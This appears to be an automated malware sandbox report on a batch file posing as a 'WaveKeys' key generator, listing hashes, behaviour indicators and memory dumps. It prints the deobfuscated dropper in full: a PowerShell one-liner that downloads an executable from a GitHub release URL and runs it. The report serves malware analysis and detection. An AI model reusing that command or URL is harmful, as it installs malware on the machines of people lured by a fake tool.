4f2891fc63dc8b0a8caaa4d74f7f52a426e09d66b442107cb6596803a9ec111a

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06/07/2024, 15:31

Target

Keys-Generator/WaveKeys-Generator.bat
Size

267B
MD5

15b82a8e0af1d671e8e412c78229c145
SHA1

a1da1e3d529e52ec60c1648deb08c19d2cb2fe52
SHA256

5c0dd08e15a61c8b05c3181cfbc698fe6b55ed907b97c2a18657fb3293fbeeaa
SHA512

62dbde5c8ed61b3b2dff1511a2dde6898567a75ddd4c448b62d819132130112c3832953bce01a253ea0a9046ca93146231390ab7958cf9c3bab032d3cf12df66

Score

10^/10

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/TheScorpix/wave-keys/releases/download/vypix/wavekeys.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1204	powershell.exe
6	1204	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1204	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1204	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 1204	2240	cmd.exe	29
PID 2240 wrote to memory of 1204	2240	cmd.exe	29
PID 2240 wrote to memory of 1204	2240	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Keys-Generator\WaveKeys-Generator.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/TheScorpix/wave-keys/releases/download/vypix/wavekeys.exe';$file='wavekeys.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1204

memory/1204-4-0x000007FEF555E000-0x000007FEF555F000-memory.dmp

Filesize
4KB

Download
memory/1204-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/1204-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/1204-7-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/1204-8-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/1204-9-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/1204-10-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/1204-11-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/1204-12-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/1204-13-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download